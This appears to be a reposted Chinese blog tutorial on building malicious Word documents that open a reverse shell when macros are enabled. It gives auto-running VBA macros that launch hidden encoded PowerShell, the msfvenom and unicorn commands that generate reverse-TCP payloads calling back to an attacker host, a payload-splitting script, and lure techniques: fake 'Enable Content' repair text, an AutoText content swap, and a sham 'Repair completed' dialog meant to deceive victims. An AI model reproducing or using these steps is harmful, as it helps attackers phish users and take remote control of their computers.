系统相关
首页 > 系统相关> > Word宏getshell

Word宏getshell

作者:互联网

原理

在宏代码里写入执行shell连接的命令,当用户打开Word时,自定执行获得shell连接。前提条件需要用户点击启用宏,才能触发执行宏命令。所以需要考虑如何诱导用户点击启用宏。

简单示例

Word开启开发工具选项

在Word选项设置中开启开发工具选项。

在开发工具中主要用到“宏”和“visual basic”。

创建宏

点击“宏”,创建宏。宏的名称随意。

重点1:宏的位置需要选择当前Word,默认会保存到Normal.dotm模板里,传给别人后文档里可能不包含创建的恶意宏。

重点2:Word文件保存为doc格式,不能使用docx,docx不支持在文件中嵌入宏。

写入宏代码

宏代码示例如下:

Sub AutoOpen()

    macro

End Sub

Sub Document_Open()

    macro

End Sub

Sub macro()

    Dim Str As String

    Str = "powershell.exe -nop -w hidden -e aQBmACgAWwBJAG4Ad"

    Str = Str + "ABQAHQAcgBdADoAOgBTAGkAegBlACAALQBlAHEAIAA0ACkAewA"

    ......

    Str = Str + "wBdADoAOgBTAHQAYQByAHQAKAAkAHMAKQA7AA=="

    CreateObject("Wscript.Shell").Run Str

End Sub

AutoOpen()和Document_Open()个人理解是Word中预定义好的,用于实现自动执行的。

macro()就是我们所创建建的,CreateObject()用于执行我们创建的恶意代码,此处的Str,如果换成cmd,当Word文件打开时,会自动打开cmd.exe。

Str就是我们创建的恶意代码。此处由于字符串的长度限制,故执行的powershell命令被分隔为了若干个字段。

利用msfvenom创建恶意代码,命令:msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.1 LPORT=9999

备注:尝试过用windows/meterpreter/reverse_tcp,能够回连,但连接有问题,建立又没有完全建立的感觉。

利用python实现恶意代码的分隔,脚本如下:

str = "payload"

# 用生成的恶意代码替换payload。

n = 50

for i in range(0, len(str), n):

print "Str = Str + " + '"' + str[i:i+n] + '"'

查看效果

完成以上操作后,保存关闭Word文件,在kali中开启nc监听,重新打开Word文件,即可看到shell连接建立。

其他宏利用方式

参考连接:各种基于 Visual Basic 宏的远程执行代码技术,用于在受感染的计算机上调用计量器。 (github.com)

诱导用户启用宏

宏代码:This is a template for the Malicious Macros that would like to substitute primary contents of the document (like luring/fake warnings to "Enable Content") and replace document's contents with what is inside of an AutoText named `RealDoc` (configured via variable `autoTextTemplateName` ). (github.com)

利用的原理:

利用“自动图文集”功能,自动替换文档内容,结合诱导性文字,诱导用户点击“启用内容”,执行宏命令。

步骤一:编辑诱导性文字

这一步是关键,如何让用户相信并去点击左上角的“启用内容”。

示例:文档内容当前无法显示,请点击左上角“启用内容”修复文档内容。

步骤二:设置自动图文集

自动图文集功能,可以实现文档内容的自动替换。利用此功能让用户以为真的是点击“启用内容”后修复了文档内容。

功能位置:插入→文档部件→自动图文集

重点1:RealDoc,自动图文集的名称需要和宏代码中保持一致,具体位置在Private Sub SubstitutePage()中的autoTextTemplateName。

重点2:自动图文集的设置,先选中替换后的文字,然后点击“将所选内容保存到自动图文集库”。

步骤三:修改宏代码并创建宏

需要修改的是Malware()里的内容:

1、MsgBox()中的内容即为弹框显示的内容,可以输入“修复完成”等配合前面的诱导性话语,提高真实性。

2、添加恶意宏代码,直接用简单示例中的代码即可。

需改动部分的代码示例如下:

Private Sub Malware()

    '

    ' ============================================

    '

    ' Enter here your malware code here.

    ' It will be started on auto open surely.

    '

    ' ============================================

    Dim Str As String

    Str = "powershell.exe -nop -w hidden -e aQBmACgAWwBJAG4Ad"

    ......

    Str = Str + "ARABpAGEAZwBuAG8AcwB0AGkAYwBzAC4AUAByAG8AYwBlAHMAc"

    Str = Str + "wBdADoAOgBTAHQAYQByAHQAKAAkAHMAKQA7AA=="

    CreateObject("Wscript.Shell").Run Str

    MsgBox ("Repair completed")

    ' ============================================

End Sub

创建宏的方式与简单示例中相同。

查看效果

当用户点击确定之后,自动文档所有内容替换为RealDoc中的文字。

利用Unicorn生成恶意宏

unicorn脚本:trustedsec/unicorn: Unicorn is a simple tool for using a PowerShell downgrade attack and inject shellcode straight into memory. Based on Matthew Graeber's powershell attacks and the powershell bypass technique presented by David Kennedy (TrustedSec) and Josh Kelly at Defcon 18. (github.com)

下载到本地后执行命令:python unicorn.py windows/shell_reverse_tcp 192.168.128.120 9999 macro

触发效果:用户打开文档后,出现弹框,弹框内容为宏代码中最后部分的文字,伪装成一个文档出错的报错弹框,用户点击确定后,文档则会被关闭,同时,会触发宏代码中的回连powershell命令。

重点:这里我依然采用了nc监听的方式连接的。根据unicorn的提示,通过msf用unicorn.rc开启监听,尝试后出现连接上了但无法使用的情况。

标签:getshell,Word,Sub,宏代码,点击,文档,Str
来源: https://blog.csdn.net/b10d9/article/details/122772165